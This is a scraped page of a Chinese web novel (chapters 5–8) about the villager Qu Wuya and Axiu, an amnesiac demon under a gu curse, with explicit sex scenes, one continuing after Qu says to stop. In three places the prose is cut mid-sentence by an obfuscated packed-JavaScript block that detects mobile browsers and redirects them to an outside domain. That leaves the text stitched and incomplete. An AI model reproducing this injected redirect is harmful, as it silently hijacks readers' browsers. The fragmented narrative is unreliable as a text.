听说人耳垂的温度是最低的,瞿无涯非常好心地拉着阿休的手,让他摸自己耳垂。阿休滚烫的手指揉捏着瞿无涯的耳垂,时轻时重,瞿无涯不由得心跳加速,有些后悔这个举动。 人好像会随着他按动的频率颤动,阿休混沌的意识得出这个结论,很好玩。 阿休把瞿无涯推到床上,发出“砰”的一声。瞿无涯不自觉地看向窗外,担忧村民会不会听见。 阿休不满他的不专心,捏着他的下巴把他脑袋摆正。阿休的身材结实,坐在他的身上把他压得有点不舒服。 “你躺下。”瞿无涯半坐起,推搡着阿休,“你太重了。” 两人姿势调换,阿休躺着,瞿无涯伏在他的胸口。他以为这一夜就要以这种姿势度过,尽管烧得有些难受,但比起这些,还是阿休的身体重要。 那婚契要怎么办?阿休失忆了,得去问遥幽怎么解。瞿无涯很忧愁,阿休这也不知道是中什么邪,一大堆事要解决,麻烦啊。 很快,瞿无涯感到一丝不对劲,这份怪异预示着今夜不可能这样结束,他尴尬地想挪动一下避开,阿休的双臂却牢牢地拴住他。 阿休闭着眼睛,呼吸声变得沉重,身体也越来越烫,像一座火山,瞿无涯要被烧死了。 直觉告诉瞿无涯,那处不解决,阿休的体温是不会下降的。他平时偶尔自渎,之前在李奇胜那出于好奇也看过春宫图,并非对情事一无所知。 换个角度想,他和阿休已经成亲,帮一下阿休也不算冒犯。幸好他的脸已经被烫得不可能再红了。 也许是这样让阿休舒服了,桎梏瞿无涯的双臂放松下来。他腹诽,难道阿休是到发情期了吗?可现在是秋天,又不是春日。 他正愁手上的粘腻怎么处理,看这个架势,起来洗手是想都不要想了。阿休睁开眼睛,目光焦距在他的脸上,红色的竖瞳锁定猎物一般冷冽。 “这样不够。” 阿休的嗓音异常沙哑、低沉,像一块沉重的石头,随后,他吐出几口鲜血。 “什么?阿休!你吐血了?” 瞿无涯刚问完,又发现阿休瞳孔失焦,衣裳被阿休解开。肌肤接触到秋夜的凉意,他没有抗拒,阿休行动自如,没有昏过去,那血是走火入魔吐的?两人的衣裳都被褪下。这样还不够是吗,得做到哪一步? 没有衣物的阻隔,瞿无涯真如身处火海一般,他年纪轻,起了反应。嘴唇相贴,舌齿纠缠,从没和人亲密接触过的他被暧昧模糊了意志,反正都到这一步了...... 再怎么样也无所谓了吧,总不能当这一切都没发生过,都是意外。 下定了决心,瞿无涯便不再纠结,两个男子之间的情事,他大概也了解一些。 从前村里有一个哥哥,他就是喜欢男子,总是被孩童们取笑,取笑的话语很粗俗,让他知晓了男子情事。后来,那个哥哥就离开了村子,再也没有回来过。 讲实话,瞿无涯真的饿,他感到自己根本使不上劲,只能狠狠地抓着阿休的手臂用力,指甲嵌入肉,留下红色的划痕。 阿休笑了。 这人还有脸笑,现在这样都怪谁,瞿无涯怒从心底起,咬他的肩膀,“你还笑!” 阿休手指插入瞿无涯的发丝,抚摸他的脑袋,“抱歉,我现在清醒了。” 木已成舟,你现在醒有什么用!瞿无涯忿忿地松口,“你是怎么了?走火入魔吗?” “应该是中毒。”阿休的手抚过他的背,“但不是谈这些事的时候吧,无涯。” 温热的气息黏着他的耳朵,耳垂被含住,他小声问,“你喜欢我吗?” 阿休侧着头,好一会才道:“你觉得呢?” “难道你不是中毒了见人就亲吗?” “这些问题我们可以明天讨论,现在还是做点现在该做的事吧。今天是我们的新婚夜。” 哇,这人还敢提,瞿无涯锤了一下阿休的肩膀,“你这是骗婚,我是被强迫的。” 阿休佯装苦恼,“那怎么办,已经成亲了。你救了我,我以身相许,你得对我负责吧。” 这话倒也没错,瞿无涯闷闷把头埋进阿休的颈窝,“这一切都太突然了。” 完事后,瞿无涯坚持要沐浴,在浴桶里睡着了,阿休把他抱回床上。 等他醒过来,已经是午后,身侧的被褥冰凉。他把被子往上一扯,盖过头顶,回想起昨夜的事,脸色涌起热意。 啊——怎么办,怎么面对阿休!在此之前,他从没想过会和人做这种事,更遑论成亲,何况还是和一个男子,和一个妖。 也许是来得太快,他都还没生出排斥心理,一切就尘埃落定了。他不讨厌阿休,但要说喜欢,他也不知道什么叫喜欢,他们才刚认识不久。 算了,不想了,阿休身上还有毒未解,身世也不知,万一他其实有爱人怎么办?思维发散,他都已经想象出自己祝他们幸福的场景。 “醒了就出来吃东西。” 阿休倚在门口,看着那团隆起的被子。 灰扑扑的被褥里弹出一个脑袋,“你没有什么想说的吗?” “我要说什么?” “你完全不忏悔你的行为吗?” 阿休回想,道:“哪个行为你希望我忏悔?我押着你签婚契,还是推你上床,还是你昨夜说不做了之后我——” 瞿无涯听不下去,打断他,“好了,够了,你出去,我要穿衣裳。” 待阿休笑着走出去后,瞿无涯坐起身,看见自己胸膛一大片痕迹,妖下手真是没轻没重的。 穿好衣物,洗漱完,他直奔石桌上的面条,大口大口地吃,想起昨日的面条,那会他还说要赶阿休走呢。 真是世事难料。 “你中的是什么毒?”瞿无涯用手帕抹嘴,“我可以去问一下陈爷爷怎么解。” 阿休耸肩,“不知道,我只是感觉像是中毒,是不是毒,我也不能确定。” 要不然去遥幽哪儿看一下?瞿无涯余光瞟见那把长枪,长枪如昨日一样插在原地,“那个枪,昨天我们结婚契的时候突然从天而降,是什么东西?” “应该是我的武器吧。”阿休随意看了一眼,并不在意。 武器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要是之前,瞿无涯大概会很忧愁,但他现在有更值得忧愁的事。 陶梅还在笑,房门口走出一个男子。她之前来送饭时也见过,说是叫阿休。 “阿休公子。” 阿休也礼貌地回:“陶姑娘。” 陶梅脸发热,阿休公子和她见过的男子都不同,很成熟但又不是长辈的老气,而且还很贵气。从来没人喊过她“陶姑娘”,相比起来,她认识的男子都是毛头小子,整天就是上房揭瓦下河捞鱼的。 阿休走到瞿无涯身旁,从他发丝上摸下一枚落叶,语气熟稔,“扫地往头上扫吗?” 瞿无涯瞪他,“我乐意。” 换之前,瞿无涯肯定不敢这么和阿休说话,毕竟阿休是实力强大的妖。就像他只是说了一句让阿休走,阿休就把他绑起来了。他还是很懂不要招惹麻烦的。 陶梅看着两人,不知怎的,觉得自己有些多余,摸摸鼻子,“那我就先走了,我还要做事。” 扫完地,瞿无涯还是要面对现实,带着阿休去找陈爷爷。 6. 第 6 章 两人在陈爷爷的院子前观察许久,直到最后一个来采购药材人李奇胜出来,瞿无涯才带着阿休进去。 陈爷爷正在把草药归类到药柜中,他年纪虽大,但不似寻常老人那般稳重,反而有些老顽童的意味在,“稀客啊,小伙子这么精神来看病吗?” “陈爷爷,您就别取笑我了。”瞿无涯做贼心虚,没有心思说笑。 陈爷爷见状,以为出了什么事,收了笑容,“怎么了?” 瞿无涯有点难以启齿,“这是我朋友,阿休。” “听你李伯说过,小伙子模样挺俊。”陈爷爷乐呵呵地拍拍阿休的肩膀,“身体挺结实的。” 阿休:“陈爷爷。” 外头,李奇胜拎着给他爹买的药包,想起自己忘记结账,折回院中,听见里面的说话声。 瞿无涯?李奇胜放轻脚步,鬼使神差地没进去,在门口听着,他听见瞿无涯说,“阿休,是妖,但他不是坏人。我可以保证,他身体有些状况,我看不出是什么毛病。” 瞿无涯的语速很快,像是怕被打断一般想早点解释清楚。 妖?李奇胜心脏狂跳,轻声走开,他得赶紧去和爹说这个消息。 陈爷爷的神色一下变得严肃,仔细打量着阿休,审视他的危险程度,“他身上没有妖气。” “他能掩盖气息。” 陈爷爷把手中的草药放到桌子的油布纸上,语气不善,“可以掩盖气息,这么强大的妖应该犯不着要向我一个老头子求助吧。” “他脑子有问题。”瞿无涯一指脑袋,“他傻了。”说失忆不够惨,若是傻子那危险性更低。 这妖看着也不傻啊,陈爷爷盯着阿休,虽然话是有点少,像在走神。 瞿无涯拉着陈爷爷的手,摇摆,“陈爷爷,您最好心了,就给他看一下。我小时候,您不是常说,其实妖也并非全是穷凶恶极之徒。下次我去镇上,帮您去书铺淘孤本。” 陈爷爷的脸色缓和一些,“罢了,但他不可在村中久留。” 见陈爷爷松口,瞿无涯一喜,“多谢陈爷爷。” 阿休听见这句道谢,内心生出一丝怪异,按照人族的习俗,温良恭俭让,被人帮助要道谢。但瞿无涯做了这么多事,他没有生出一丝感激之情,这是种族差异,还是他本身就习惯被人付出? 就像他对瞿无涯,已经撇去醒那几日的依赖,尤其是半夜醒来之后,他能感受到内心发生微妙的变化,他更清醒了。若说之前他对当下状况有些惶惶不安,但醒来后就没有了,他不知自己是不是潜意识想起什么,但他找回了自己的节奏。 那时,瞿无涯坐在他的身上,微弱的月光照在瞿无涯潮红的脸上,漂亮得近乎艳丽。平日的瞿无涯因身处环境单纯,与山水相伴,和艳丽一点也不相干,是天然又天真的清纯,看着让人不忍心欺负,而不是像坐在男人身上那样放浪。 看来他是一只相当傲慢的妖。不过,为了瞿无涯,他口头上还是和陈爷爷道谢了。这算喜欢吗?他不觉得。说是见色起意更合适,他性格也太恶劣了,唉。 把脉把了许久,陈爷爷的眉头越皱越紧,“这个脉象,是有活物在里头,像是中蛊了。” 中蛊?西州地带善毒术,传闻最西边的乌山是养蛊之地,但规矩严苛,巫族人不得私自下山,离碧落村远着。而且阿休是妖,应当和巫族没有关系。 瞿无涯不由得看了阿休一眼,难道他招惹了巫族人? 陈爷爷放下手,摸摸胡须,“妖族瘴林的虺殇善蛊,你怕不是得罪了瘴林的妖,才被下了这么狠的蛊。待老夫查阅一下书籍,看看你中的到底是什么蛊。” 他说着,走进里屋,再出来时手上拿着一本古朴沉重的书,熟练地翻阅着。 好一会,陈爷爷才抬头,“找到了,按照这蛊的行动轨迹判断,是七情蛊。人有七情六欲,此蛊乃是扩大人的情绪感知,中此蛊需得心平气和,一般是以月为期发作,情绪起伏过大也会引起毒发。每次毒发都会消耗精血,长此以往,气虚体微,命不久矣。” 瞿无涯从陈爷爷手中接过书,看着七情蛊的描述,集齐七种情思蛊虫,喜、怒、哀、惧、爱、恶、欲,采集乌山特有的摄魂果喂食,炼制环境必须无时无刻含毒,条件很是苛刻。有毒的地方待久了自身也会受损,而乌山向来甚少与外界往来,摄魂果又是乌山稀有的果实,若能炼制成功,那背后之人来头不小。 看来阿休是真招惹了麻烦。 他不禁好奇,“你是怎么同时招惹了乌山和瘴林的人?让他们联手养了七情蛊来害你?” 阿休也想知道,据他这段时间观察,人和妖的关系很差,他得多招恨,才能让人妖不惜结盟也要害他。 “这该怎么解?”瞿无涯没在书上看见解法,抬头望着陈爷爷,“这没写解法?” 陈爷爷摇头叹息,“老夫也不知,这种偏门杂症得去钟离本家求医,方有一线生机。” 南州土地肥沃,盛产灵药,行医之人也多,而最为出众的一脉就是钟离家,钟离本家在沧溟城的灵仙山上,在许多地方都开有医馆。若是要去找本家的人,那得去沧溟城的钟离医馆。 天呐,那得多远啊。瞿无涯去过最远的地方也就是邻镇。盘缠也是个问题。 回家后,瞿无涯把家里值钱的东西都翻出来,把积蓄堆在桌上,苦恼地计算着。 阿休怎么看他都可爱,坐在一旁欣赏。瞿无涯觉得自己活脱脱得像家中辛苦劳作的妻子,而阿休就是冷眼旁观的丈夫。 “你不担心自己的病吗?”瞿无涯瞪着阿休。 阿休伸手去摸他的脸,没说话,抬手搂过他的脖颈往下压,亲上去。 瞿无涯瞪大眼睛,不理解他为什么突然就开亲,没有一点预兆。等亲完后,他脑袋懵懵的,忘了自己刚才在说什么。 “你为什么突然亲我?” 阿休坦然道:“你我既成亲了,亲吻还需要理由吗?” 一说起这个,瞿无涯就想起昨晚的事,脸诡异地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“抱歉。”瞿无涯咬着嘴唇,“是我的错。我只是没办法见死不救。” “妖族欺压人族多年,你还对妖心慈手软?妖何曾对人心慈手软过?” 瞿无涯低头,“抱歉,但阿休真的不是坏人。” 村长叹气,对着一手看大的孩子,也说不出什么重话,无涯这孩子的秉性他是知道的,不会有坏心思,就是心善心软,才会对妖有怜悯之心。 “无涯,把妖送走,这次李伯帮你和大家担保,这事就当没发生过。再有下次,李伯也没法和村民们交代。” 送走?他怎么可能让失忆的阿休独自去沧澜城,瞿无涯想,这是不是天意都在帮助他走出碧落村? “李伯,我知道大家的难处,也很感激村民们对我的抚养。我会和阿休一起离开,不会给你们带来麻烦。” 7. 第 7 章 因是出远门,瞿无涯没法借驴——也不知村民还愿不愿意借给他。简单收拾好行李,两人就上路了。 走出村口,瞿无涯回头一望,也不知何时才能再回来,或者说,村民们还能不能接纳他。 “无涯,无涯!” 陶梅远远地追上来,“等一下。” 她手中攥着一个荷包,气喘吁吁地停在两人面前,“无涯,这是我的一点积蓄,不准不拿啊。” “我早就觉得你不会一直留在村里,你就当作是我的投资,等你以后在外面站稳脚跟了,记得带我也出去玩玩。你知道的,我一直想去北州的瞭望塔。听说北州一年四季冰天雪地,站在瞭望塔上看过去,一望无际的冰原、冰山。南州从来不下雪的。” 瞿无涯本不想收,但听陶梅说完,还是收下了,“谢谢你,阿梅。” 陶梅红了眼眶,“无涯,你一定要保重啊!” “嗯,你也是。”瞿无涯挥挥手,“再见了,阿梅。” 陶梅的眼泪哗啦啦掉下来,用力挥手,“再见!” 瞿无涯狠下心,没有再回头。 秋风吹过,落叶沙沙,盖过了陶梅的抽泣声,她双手捂脸,擦去眼泪,飞快地跑回家。 阿休背着包裹,想起方才院中,瞿无涯挡在他身前的模样。他习惯于一言不发,是懒得计较,瞿无涯却怕他受到伤害,明明是这么脆弱的人族,还想保护他。他摸着瞿无涯的睫毛,有些湿润,“你们感情很好。” “嗯,阿梅一直都很照顾我。”瞿无涯回想起在村子里的十八年,有些伤感,“其实大家一直都对我很好,只是他们接受不了妖怪,但人族抵触妖很正常,我才是那个异类。” “你为什么不讨厌妖呢?” “是因为遥幽。大家都说他是半妖,很危险,但我不懂,遥幽从来没有伤害过村民,为什么大家要这样说他。然后我就偷偷去看他,他脾气不好,总是让我走开。后来有一次我上山,吃蘑菇中毒了,是他救了我。” “那个时候逢年过节,我都是待在村长家。我知道,不是一家人终究不是一家人,他们很照顾我,但我只是一个外人。孩童的感知是很敏锐的,所以年纪大一些后,我就宁愿自己一个人待在家里,也不愿意去别人家过节。” 李伯固然待他很好,平时有点什么好东西都会更关照他,李爷爷也心疼他的身世,李奇胜常嚷嚷不知道谁才是亲生的。但李奇胜生病时,李家就没有多余的注意力放在他身上了。 那个时候,他就懂了,外人终究是外人。李家对他好,是因为可怜他,是心善。还有后面陶梅的事,李伯不同意帮李奇胜说亲,是因为李伯不想让李奇胜娶一个不喜欢李奇胜的媳妇。 为此,李伯还想帮他和陶梅说亲,就是想让李奇胜死心,早日放下陶梅。他拒绝了。李伯就很愁地说,若李奇胜不对陶梅死心,也不知什么时候才能成家,李爷爷还想着抱曾孙呢。 因这句话,瞿无涯同意了,不管如何,李伯总归对他有恩。但陶梅是个心思灵巧的女子,她懂瞿无涯的难处,她没同意提亲。 很寂寞啊,灯火通明的夜晚,各家各户都传出欢声笑语,瞿无涯一个人待着,遥幽也是一个人待着,他们在世上都是一个人。 闻言,阿休抱住瞿无涯,“这样你会好一些吗?” “嗯。” 山路漫长,日头都要落下,可能要在山中歇息一晚。瞿无涯转转眼珠,“阿休,不是说术士都会什么,御剑飞行,日行千里吗?你的武器可不可以一夜就到沧澜城?” 阿休淡淡地瞥了他一眼,“你认识去沧澜城的路吗?” 瞿无涯焉了,垂头丧气,“好吧,还是先去镇上,脚踏实地。” 夜晚,阿休捡好柴火,生出火堆。瞿无涯缩在山洞里边,伸手烤火,山中的夜太凉。 阿休倒是不冷,坐在一旁,伸出手,“要不要坐我怀里?” 瞿无涯不好意思,摇头,“不用,我也没那么冷。” 话音刚落,阿休吐出一口血,把瞿无涯吓一跳,“你怎么了?” 阿休一抹嘴,没什么感觉,“可能是蛊虫作祟吧,无碍。” “都吐血了还没事吗?”瞿无涯摸着阿休的脉象,没感受到蛊虫发作,只是有些虚弱,“你前夜也是,突然就吐血。” “陈大夫说过,精血亏空,也许就是蛊虫不发作的期间,会吐血吧。” “写书的人也是,写得那么晦涩难懂,连个症状都要猜。”瞿无涯不满,阿休的手握住他的手,十指相交。 好吧,还是有点影响,阿休感到自己的妖力随着那口血吐出来一般在流逝。他本就内伤还没养好,实力尚未恢复,若这蛊虫再损耗他的妖力,日渐虚弱,也不知能不能保护好瞿无涯。 按已知情况来看,他仇家应该不少,来头也不小,说不定沧澜城就有他的仇家。 月亮趋近于圆满,啊,后日就是中秋节了,瞿无涯看着月亮发呆,偏头靠在阿休的肩上,篝火的光忽闪着。 瞿无涯问道:“你好像什么也不怕?” 怕?害怕是因为认知失调,阿休捏着瞿无涯的手指,不紧不慢地道:“做事不能未战先怯。” 妖就是心思简单啊,真羡慕。瞿无涯太年轻,以为阿休只是秉持着妖的勇猛做法,完全没懂阿休的意思,在他的思维里还没有战斗的概念。 翌日的黄昏,两人赶到了镇上,镇口立着一块石碑,红色油漆写着“阳镇”。 阳镇比碧落村热闹许多,正是许多人回家吃饭的时候,街上熙熙攘攘,还有许多小摊吃食。 暖色的光落下,瞿无涯握紧阿休的手,轻车熟路地到一家客栈前。 两人长相惹眼,店里的客人不由得看向他们,瞿无涯不好意思,想松开手,却被阿休紧紧地握着。 瞿无涯定了一间房,终于可以好好休息了。他拿出方才在小摊上买的糕点,和阿休一同草草当晚饭吃了。 “你就吃这么一点吗?”瞿无涯嘴里含着糕点,口齿不清。 阿休伸手捻去他嘴角的糕点屑,“妖可以不用吃东西。” “那妖吃什么?” 阿休有心逗他,“吃人血。” 瞿无涯动作僵住,缓慢地嚼,问:“那你是不是很饿,我都没见过你喝血。” 可是他也没见过遥幽喝血啊,思及此,他狐疑地盯着阿休,“你是不是在骗我?” “妖要是不吃人,那人为何会怕妖呢?”阿休并不记得,只是合理提出猜测。 “陈爷爷以前同我说过,有些妖会吃人,但并不是所有妖都这样。他们吃人,就相当于人族吃零嘴一样。” 阿休深表赞同地点头,毕竟他偶尔会想吃掉瞿无涯,特别是那个夜晚。不过,要是说出来,会吓到瞿无涯吗? 应该会吧,毕竟他醒来的第一个夜晚,瞿无涯吓得睡不着。也不知这人到底是胆子大还是胆子小,敢把妖捡回家,等妖醒了才开始担忧是否有些晚了? 沐浴后阿休用妖力帮瞿无涯烘干头发,指腹贴着他的头皮。弄好头发,他瘫在床上,赶了一日的山路,真是累。明日还有得忙。 阿休搂着他的肩膀,之前他们都是平躺着互不干扰。他很少外宿,更别说昨夜还是天地为盖,但那都是一个人,而如今有人给他烘头发,有人和他说话,有人和他一同睡觉。 阿休捏着瞿无涯垂下来的发丝,其实瞿无涯的戒备心很强,看着很好相处却没那么好亲近,以真心待人只是他的品质,实际上因为孤儿的身世,瞿无涯有点逃避亲密关系。若不是他七情蛊发作,等有一日他 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阿休觉得去赌场这个选择不错,试图想跳过前面的步骤直接去。瞿无涯拒绝了,赌场是下下策,赚多了钱太引人注目会招惹到地头蛇的。 阿休目的明确,直奔当铺而去。老板看他打扮不像什么有钱人,懒洋洋地道:“这位公子,可是要当东西?” “是,这块玉佩。”阿休拿出那块和田玉佩放在桌上。 老板兀然起身,眼睛发直,拿起玉佩,“这个材质,暖白细腻,还没有杂质,是上等货色啊。公子当真要出这块玉?” 人族废话很多,阿休点头。 “公子想多少钱出?” 阿休对银钱没概念,反问:“老板觉得值多少钱。” 老板比了个三,“三百?” 瞿无涯还差多少钱来着,不止三百文吧?阿休冷着脸,没说话。 面对气势唬人的客人,老板也心虚了,也是,能拿出这种玉的人,肯定也不是什么不识货的乡巴佬。他拿三百糊弄人是有点过分,“那五百,不能再高了。” 行吧,不够的话,就再把扳指当了。阿休点头,交易成功。 老板递出一张银票,道:“若公子后悔了,十日内可以原价取回来。小店是良心店铺,欢迎公子下次光临。” 五百两?阿休挑眉,那这怎么和瞿无涯交代?罢了,本来就是给他看病,卖他的东西也很正常吧。 今天好像是中秋节,人族团圆的日子,阿休漫不经心地在街上走着。 一个小女孩抱着一大束粉白色的木槿花,怯生生地走到他旁边,拉他的裤腿,“公子,买花吗?” 阿休身上有一些零钱,是瞿无涯怕他一个人时需要用钱给他的,“多少钱?” 小女孩欢喜地道:“三文钱一枝。” 阿休掏出零钱,“拿十枝吧。” “谢谢公子。”小女孩拿出丝带,把木槿花捆成一束,“公子,给。” 阿休抱着花束,远远地看见瞿无涯盯着一个店铺的招人告示,“无涯,送你。” 瞿无涯转头,阿休穿的衣服是他的,廉价的褐色布衣,那团粉白的花束就尤为亮眼。一般人这样穿像是淳朴的书生求爱,偏偏阿休气质唬人,生生穿出了贵气。 木槿花?他先惊喜地接过,“谢谢。” 欣赏好一会,他才道:“等等,你花钱买这个做什么?” “今天不是中秋节吗?”阿休把他额前碎发往后撩,“我看人族似乎很注重这个节日,所以送你花。走吧,我有钱了,别找短工了,我们回家。” 回家?瞿无涯愣愣地被阿休拉着向客栈走去,家吗?对啊,他和阿休是家人了,所以一起过中秋节。 尽管这段婚姻像一个玩笑,但至少此刻,他们是有彼此。 8. 第 8 章 中秋节的夜晚,阿休带着瞿无涯坐在屋顶赏月。 五百两?瞿无涯把银票举起来,对着月光看,就没见过这么多钱,“你的玉佩这么值钱吗?” 要是一般人该在心里嘀咕瞿无涯没见过世面了,但阿休也是个失忆的,同瞿无涯一般没见过世面。不同的是,阿休对钱财完全没有概念。 “很值钱吗?” 瞿无涯大概换算了一下,“如果省吃俭用一点,够我二十年不用赚钱。” 二十年也没有很久,妖这么想着,对妖来说不过是三十分之一吗?对普通人族来说是三分之一,修道之人的寿命会更长一些,至多也不过一百五。 “沧澜城是南州最大的城,我听说那里有世间最长的走廊,踏朱廊,若要走完,足足得走四个时辰。廊边都是奇珍异景供观赏,也会有乐师、舞者和戏班等的演奏。” “而且因为南州和妖界相接,还有人妖混杂的海市,里面有很多稀奇古怪的东西,定期会举办拍卖会,感觉会很好玩呀。然后就是钟离家的灵仙山,山的一边是沧澜城,另一边就是大海,钟离人明日清晨醒来,都可以透过窗户遥望海天一色......” 关于沧澜城和灵仙山,瞿无涯絮絮叨叨说了很多,多到阿休想一起打包送他。虽然阿休什么也没有,但不妨碍他生出这种想法,看来他不仅傲慢,还相当自负。 瞿无涯说到口干舌燥,终于停下来。阿休总是话很少,他从前觉得沉默的人性子太闷,不好相处。 如今却觉得,这种人很沉稳可靠,相当酷啊!因他没再说话,阿休偏着听他说话的脑袋也看向前方的月亮,神色也变得冷峻。 他托腮,盯着阿休的侧脸,目光锐利,这鼻梁的弧度简直是鬼斧神工啊。他不禁摸摸自己的鼻子,还行,不算塌。这样的阿休确实有点吓人,他想了想,凑上去亲了一口阿休的脸。 阿休偏头,虚虚地瞟他一眼,嘴角勾起浅浅的弧度,“怎么了?” 笑是笑了,也说不上多温柔,反而是漫不经心居多。就好似全心全意在思考事情时,也会分出一点精力给他。 瞿无涯本是想逗阿休,没想到脸红的竟然是自己,他捂着脸埋进阿休的肩窝,发出闷闷的声音,“没事,我看你在发呆。” “我在想,比起解蛊,找回记忆更迫切。”阿休有一下没一下地摸瞿无涯的脑袋,“也许我找回记忆,就不用请钟离家的人帮我。毕竟,我是妖,钟离家没有理由费尽心力帮妖解蛊吧。” “这蛊本来就不常见,说不定钟离家推脱说没有办法,那我奈何不了他们。” “那我们隐藏你的身份不就好了?我去问他们七情蛊的解法。”瞿无涯抬起脑袋,脱离了阿休的手掌,鼻尖不小心碰阿休的脸,他往后退一些。 “再说吧。”阿休把手垂下,“不着急。” 一个月后,沧澜城。 “阿休你看,那就是灵仙山!”瞿无涯兴奋地指着天上,隐约可见远处迷雾缭绕的青山。阿休坐在车辕的另一边,随着他的手看过去。 瞿无涯对沧澜城的一砖一瓦都充满好奇,时不时就摇着阿休的手臂,发出惊叹声。 “你看那个楼,好高啊,我从来没见过这么高的楼。好像是叫云霄阁,我看不太清。” “那是不夜河吗?上面好多船只,听说晚上会有很多乐曲、舞蹈,整晚灯火通明的。” “南啼庙,是供奉沉霁神君的地方,据说很灵欸。我们有空也去求吧。” “神君?”阿休懒洋洋地道,“求神不如求己。” 瞿无涯对神也没什么敬畏之心,点点头,“也是,很多神仙也是从人飞升的。但好几百年都没听说飞升的消息了。” 这一个月,阿休也大体了解了人妖的情况,双手枕着脑袋,“忙着内斗,没心思修炼飞升。你想飞升吗?” “我吗?”瞿无涯惊讶道,“飞升离我也太遥远了,而且当神仙有什么意思。我觉得当人就挺好的。” “那你的寿命会比我短很多。” “对啊,那等我变成老爷爷,你还是和现在一样年轻。”瞿无涯捂着脸,好似自己已经满脸皱纹一般。 正说着,到了马行。他们暂时不需要马车,便打算先卖了,省得还要费心照料。 卖完马车,他们又找附近的招租消息,毕竟是长住,住客栈不划算。 瞿无涯担忧会不会因为是外地人被蒙骗,好在阿休看着不似寻常人,可以撑场面。他们临时找房,价格上不能要求太多,只能做到尽量划算一些。 牙商带他们看房是用法器——千里眼,把楼房的样式用千里眼记下,再投映出来,省去客人跑路的时间。 瞿无涯没有见过这么新奇的法器,两眼放光,看着那个圆润的珠子,珠子像眼睛一样睁开。方才没投映时就是闭上的。 两人对房子没什么特别高的要求,因此看着价格很快就选好了。 牙商姓张,单名睿,留着一脸胡子,人高马大,肌肉结实,不像商人倒是像镖局的。 阿休说可能是修炼之人,所以体型壮实。 张睿带着他们去房子,“两位公子是外地人吧,有什么不懂的,也可以问我。但凡我知道的,必然知无不言。” “老板好眼力,实不相瞒,我和朋友是来寻医的。”瞿无涯问道,“想问一下,钟离医馆的地址何在?” 张睿顿时露出为难的神色,“钟离医馆......公子有所不知,这钟离家啊,摊上事了,医馆闭门好几日了。” 钟离家还能摊上事?钟离不是南州最大的势力吗?瞿无涯瞪大眼睛,“愿闻其详。” “公子可知妖界永冥泽的魇瞳妖君?他的女儿魇箬在沧澜建了一个千瞳府,经常掳美男进府。我看两位公子还是小心一些,千万别去妖多的地方。” “钟离家的长孙钟离肃,也是这一代最出众的医师,他经营本家医馆,但奈何,被那妖女掳走,唉。倒霉啊,倒霉。” 张睿唉声叹气。 那麻烦了,灵仙山没有钟离家的人引荐是上不去的。瞿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126453|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无涯忧郁地啃馒头,那要找钟离肃,得进千瞳府。 “今晚去不夜河吗?反正这事一时半会也急不来。”阿休看他心情低落,提议。 “好呀。”瞿无涯欢喜地道,“不夜河灯火通明,我们可以在船头看夜景。” 他很精神,但他怕阿休累了不想出门——这种累不是指身体的累,而是阿休并不像他一样爱出门。 比起看夜景,阿休大概更愿意躺在家中休息。 愿望是美好的,瞿无涯到渡口一问才知,上船的位置是要提前预约,他们今夜是上不了不夜河了。 他垂头丧气地和阿休打道回府。 折腾一天,瞿无涯确实累了,沉沉睡去。夜半,身上有异样的触感,他昏沉地半醒,眼睛眯开一条缝。阿休咬着他的锁骨,他吃痛转醒,按着阿休的额头推开。 火红色的瞳孔。 蛊发作了,瞿无涯彻底清醒,认命般地喃喃道:“非挑今天吗,我真的好困。” 经过一个月的熏陶,他做这事已经轻车熟路——不是蛊发作的时候,阿休想做,他们就会做。 不过,阿休有意识的情况下,不会这么凶横。 瞿无涯的头向后仰,脖颈弯成曲线,手按在阿休的腰腹上,长舒一口气。 空气中还隐隐有血腥味,阿休咬得比上次失去意识要狠,也没帮他治疗。 这应该是坏事吧,相当于阿休在蛊发的时候会更难控制自己。 好在他这一个月也不是一无所获,小小治疗术还是学会了。他食指中指竖起,默念心法,在伤口处一抹。 很显然,在这种时候的分心行为让阿休很不悦,他一翻身,把瞿无涯按在床上,抚摸着瞿无涯的胸口。 瞿无涯咬着嘴唇,眉头蹙起,“你......” 话音未落,嘴唇也被堵上,他腹诽,失去意识了还知道他走神,哼哼。 不对,他推开阿休,红肿的嘴唇吐出沙哑的声音,“你是不是醒了?你骗我呢?” 阿休低低地笑,摸着瞿无涯潮红的脸,“脸怎么红成这样?嘴巴也肿了,看着怪可怜的。” “你也就在床上话多。”瞿无涯不爽地拧他胳膊,“尽说这些浑话。” 阿休的手指从瞿无涯的脸一路往下滑,最后停留在腰,“是你话太多了,哪有那么多话要说。” 瞿无涯委屈了,“你嫌我话多,你不想和我说话?” 阿休意有所指地用力,似笑非笑,“我更喜欢做。” 比起不爱说话、不想说话,他更像是习惯沉默。说话的声音再大,也会被无视,但行动就不一样。 沟通是无力的,理解是奢侈的,想法无法用言语传达。笑容不一定是善意,责骂也不全是恶意,真心又该如何评判? 但瞿无涯这么天真,他也没必要说这种话扫兴。倒不是天真这个品质有多珍贵,而是天真的瞿无涯逗起来很有意思,好骗又好欺负。 瞿无涯用手捂住脸,“你还是少说话吧,我更喜欢你沉默的模样。” 9. 第 9 章 